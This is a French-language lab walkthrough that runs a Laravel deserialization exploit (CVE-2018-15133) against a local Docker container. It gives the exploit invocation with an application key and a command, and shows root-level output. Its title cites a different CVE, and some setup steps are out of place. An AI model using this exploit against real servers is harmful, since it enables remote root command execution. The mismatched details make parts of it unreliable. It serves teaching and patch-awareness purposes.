
Exécution d'exploit de désérialisation avec CVE-2017-5941
Exploitation de la vulnérabilité de désérialisation CVE-2018-15133 Cet exploit exploite une vulnérabilité de désérialisation dans le framework Laravel jusqu'aux versions 5.5.40 et 5.6.x jusqu'à 5.6.29.
L'exécution de code à distance peut survenir à la suite d'un appel unserialize sur une valeur X-XSRF-TOKEN potentiellement non fiable. Cela implique la méthode decrypt dans Illuminate/Encryption/Encrypter.php et PendingBroadcast dans gadgetchains/Laravel/RCE/3/chain.php dans phpggc. L'attaquant doit connaître la clé de l'application, ce qui ne se produirait normalement jamais, mais pourrait arriver si l'attaquant avait précédemment un accès privilégié ou avait réussi une attaque antérieure.
Pour exécuter cet exploit, vous devez avoir installé ce qui suit sur votre machine :
Téléchargez et installez Docker.
Ouvrez Docker en tant qu'administrateur.
Ouvrez l'invite de commande et téléchargez la machine Docker.
docker pull kozmico/laravel-poc-cve-2018-15133
docker run --name my-laravel-app -p 8000:80 -d kozmico/laravel-poc-cve-2018-15133
Cela démarrera la machine Laravel.
Essayez d'ouvrir la machine dans le navigateur pour vous assurer qu'elle fonctionne.
Vous pouvez le faire avec l'adresse IP et le port. Pour vérifier l'IP sous Windows, exécutez :
ipconfig
Sous Linux
ifconfig
wsl --set-default-version 2
wsl --update
Téléchargez le fichier de l'exploit sur votre machine.
Ouvrez un terminal et naviguez jusqu'au dossier où se trouve le fichier de l'exploit.
Exécutez la commande suivante pour exploiter le serveur :
./CVE-2018-15133 -URL http://localhost:8000 -API_KEY 9UZUmEfHhV7WXXYewtNRtCxAYdQt44IAgJUKXk2ehRk= -command "id"
Cela devrait vous donner la réponse avec l'ID de la machine que vous souhaitez attaquer. Vous pouvez utiliser des commandes similaires pour demander des dossiers et effectuer d'autres tâches également.
Réponse : uid=0(root) gid=0(root) groups=0(root)
En conclusion, dans cette vulnérabilité, nous avons pu observer l'importance de rester à jour avec les frameworks. Étant donné que ces outils peuvent avoir des failles de sécurité et sont largement utilisés, nous sommes en risque si nous ne nous tenons pas à jour.